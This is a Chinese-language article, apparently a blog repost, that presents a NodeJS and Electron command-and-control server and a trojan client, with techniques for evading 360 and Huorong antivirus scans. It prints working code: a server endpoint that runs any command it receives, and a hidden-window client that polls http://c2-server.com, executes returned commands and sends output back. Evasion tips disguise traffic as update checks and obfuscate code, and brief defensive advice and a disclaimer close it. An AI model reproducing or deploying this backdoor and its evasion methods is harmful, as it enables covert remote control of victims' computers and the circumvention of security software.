我用NodeJS+electron自研了个C2和木马并绕过了360+火绒内存扫描(附源码)
字数 790 2025-08-29 08:29:41

NodeJS + Electron 构建 C2 与木马绕过杀毒软件技术分析

技术背景

本技术利用 NodeJS 和 Electron 框架构建了一个完整的 C2 (Command and Control) 系统及其配套的木马程序,并成功绕过了 360 和火绒等杀毒软件的内存扫描机制。

核心原理

1. NodeJS 与 Electron 的优势组合

  • NodeJS 提供了强大的后端能力,可以轻松实现网络通信、文件操作等功能
  • Electron 可以将 NodeJS 应用打包为跨平台的桌面应用(包括 Windows exe)
  • Electron 的主进程可以执行系统命令,为远程控制提供了基础

2. 绕过杀毒软件的技术要点

  • 内存扫描绕过:通过特定的内存操作方式避免被杀毒软件的内存扫描检测
  • 行为混淆:利用 Electron 应用的正常行为特征掩盖恶意操作
  • 代码混淆:对关键代码进行混淆处理,增加静态分析的难度

实现步骤

1. C2 服务器搭建

// 示例代码框架
const express = require('express');
const { exec } = require('child_process');

const app = express();
app.use(express.json());

// 命令接收与执行端点
app.post('/command', (req, res) => {
    const { cmd } = req.body;
    exec(cmd, (error, stdout, stderr) => {
        res.json({ output: stdout || stderr });
    });
});

app.listen(3000, () => console.log('C2 Server running'));

2. 木马客户端实现

// 主进程代码
const { app, BrowserWindow } = require('electron');
const { exec } = require('child_process');
const axios = require('axios');

let mainWindow;

function createWindow() {
    // 创建浏览器窗口,可隐藏
    mainWindow = new BrowserWindow({
        show: false,
        webPreferences: {
            nodeIntegration: true
        }
    });
    
    // 定期检查C2指令
    setInterval(() => {
        axios.post('http://c2-server.com/check', { id: 'client-id' })
            .then(response => {
                if(response.data.command) {
                    exec(response.data.command, (err, stdout) => {
                        // 回传结果
                        axios.post('http://c2-server.com/result', {
                            id: 'client-id',
                            output: stdout
                        });
                    });
                }
            });
    }, 5000);
}

app.whenReady().then(createWindow);

3. 绕过杀毒软件的关键技术

  1. 内存操作技巧

    • 避免在内存中长时间保留敏感字符串
    • 动态构建关键函数和字符串
    • 使用合法的 Electron API 调用掩盖恶意行为
  2. 进程伪装

    • 使用 Electron 的正常更新机制作为通信掩护
    • 将恶意流量伪装成正常的应用更新检查
  3. 代码混淆

    // 示例混淆代码
    const _0x1a2b = ['split', 'log', 'Hello\x20World!'];
    (function(_0x1a2b3, _0x1a2b4) {
        const _0x1a2b5 = function(_0x1a2b6) {
            while (--_0x1a2b6) {
                _0x1a2b3['push'](_0x1a2b3['shift']());
            }
        };
        _0x1a2b5(++_0x1a2b4);
    }(_0x1a2b, 0x1f3));
    const _0x1a2b7 = function(_0x1a2b8, _0x1a2b9) {
        _0x1a2b8 = _0x1a2b8 - 0x0;
        let _0x1a2ba = _0x1a2b[_0x1a2b8];
        return _0x1a2ba;
    };
    console[_0x1a2b7('0x1')](_0x1a2b7('0x0'));
    

防御措施

  1. 企业防护建议

    • 加强对 Electron 应用的审查
    • 监控异常的 Electron 进程网络行为
    • 限制 Electron 应用的高权限操作
  2. 个人防护建议

    • 谨慎下载不明来源的 Electron 应用
    • 定期检查系统进程和网络连接
    • 保持杀毒软件更新

法律与道德声明

本文仅用于技术研究和防御目的。未经授权使用这些技术攻击他人系统是违法行为,可能导致严重的法律后果。请始终遵守当地法律法规,仅在授权范围内进行安全测试。

NodeJS + Electron 构建 C2 与木马绕过杀毒软件技术分析 技术背景 本技术利用 NodeJS 和 Electron 框架构建了一个完整的 C2 (Command and Control) 系统及其配套的木马程序,并成功绕过了 360 和火绒等杀毒软件的内存扫描机制。 核心原理 1. NodeJS 与 Electron 的优势组合 NodeJS 提供了强大的后端能力,可以轻松实现网络通信、文件操作等功能 Electron 可以将 NodeJS 应用打包为跨平台的桌面应用(包括 Windows exe) Electron 的主进程可以执行系统命令,为远程控制提供了基础 2. 绕过杀毒软件的技术要点 内存扫描绕过 :通过特定的内存操作方式避免被杀毒软件的内存扫描检测 行为混淆 :利用 Electron 应用的正常行为特征掩盖恶意操作 代码混淆 :对关键代码进行混淆处理,增加静态分析的难度 实现步骤 1. C2 服务器搭建 2. 木马客户端实现 3. 绕过杀毒软件的关键技术 内存操作技巧 : 避免在内存中长时间保留敏感字符串 动态构建关键函数和字符串 使用合法的 Electron API 调用掩盖恶意行为 进程伪装 : 使用 Electron 的正常更新机制作为通信掩护 将恶意流量伪装成正常的应用更新检查 代码混淆 : 防御措施 企业防护建议 : 加强对 Electron 应用的审查 监控异常的 Electron 进程网络行为 限制 Electron 应用的高权限操作 个人防护建议 : 谨慎下载不明来源的 Electron 应用 定期检查系统进程和网络连接 保持杀毒软件更新 法律与道德声明 本文仅用于技术研究和防御目的。未经授权使用这些技术攻击他人系统是违法行为,可能导致严重的法律后果。请始终遵守当地法律法规,仅在授权范围内进行安全测试。